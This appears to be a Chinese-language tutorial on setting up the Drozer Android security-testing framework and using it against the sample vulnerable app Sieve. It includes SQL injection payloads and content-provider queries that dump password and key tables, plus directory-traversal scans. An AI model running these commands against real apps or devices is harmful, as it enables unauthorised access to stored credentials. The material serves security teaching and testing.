Drozer ⼯具的安装与启动
1. 安装
(1) 下载 https://www.mwrinfosecurity.com/products/drozer/community-edition/
Mac下可以下载python版
(2) PC上安装drozer:
sudo easy_install --allow-hosts pypi.python.org protobuf==2.4.1
easy_install twisted==10.2.0 (为了⽀持Infrastructure模式)
sudo easy_install ./drozer-2.3.4-py2.7.egg
(3) 在Android设备上安装agent.apk
adb install agent.apk
2. 启动
(1) PC上使⽤adb进⾏端⼝转发,转发到Drozer使⽤的端⼝31415
adb forward tcp:31415 tcp:31415
(2) 在Android设备上开启Drozer Agent,选择embedded server-enabled
(3) 在PC上开启Drozer Console
drozer console connect
一、 Android组件安全测试
1.获取包名
dz> run app.package.list -f sieve
com.mwr.example.sieve
2.获取应用的基本信息
run app.package.info -a com.mwr.example.sieve
3.确定攻击面
run app.package.attacksurface com.mwr.example.sieve
4.Activity
(1)获取activity信息
run app.activity.info -a com.mwr.example.sieve
(2)启动activity
run app.activity.start --component com.mwr.example.sieve
dz> help app.activity.start
usage: run app.activity.start -h --action ACTION --category CATEGORY
--component PACKAGE COMPONENT --data-uri DATA_URI
--extra TYPE KEY VALUE [--flags FLAGS FLAGS ...]
--mimetype MIMETYPE
5.Content Provider
(1)获取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
(2)Content Providers(数据泄露)
先获取所有可以访问的Uri:
run scanner.provider.finduris -a com.mwr.example.sieve
获取各个Uri的数据:
run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查询到数据说明存在漏洞
(3)Content Providers(SQL注入)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
报错则说明存在SQL注入。
列出所有表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ -projection "* FROM SQLITE_MASTER WHERE type='table';-"
获取某个表(如Key)中的数据:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ -projection "* FROM Key;-"
(4)同时检测SQL注入和目录遍历
run scanner.provider.injection -a com.mwr.example.sieve
run scanner.provider.traversal -a com.mwr.example.sieve
6.Service
(1)获取service详情
run app.service.info -a com.mwr.example.sieve
不使用drozer启动service
am startservice --n 包名/service名
7.Broadcast Receiver
app.broadcast.info 获取broadcast receivers信息
app.broadcast.send 通过intent发送broadcast receiver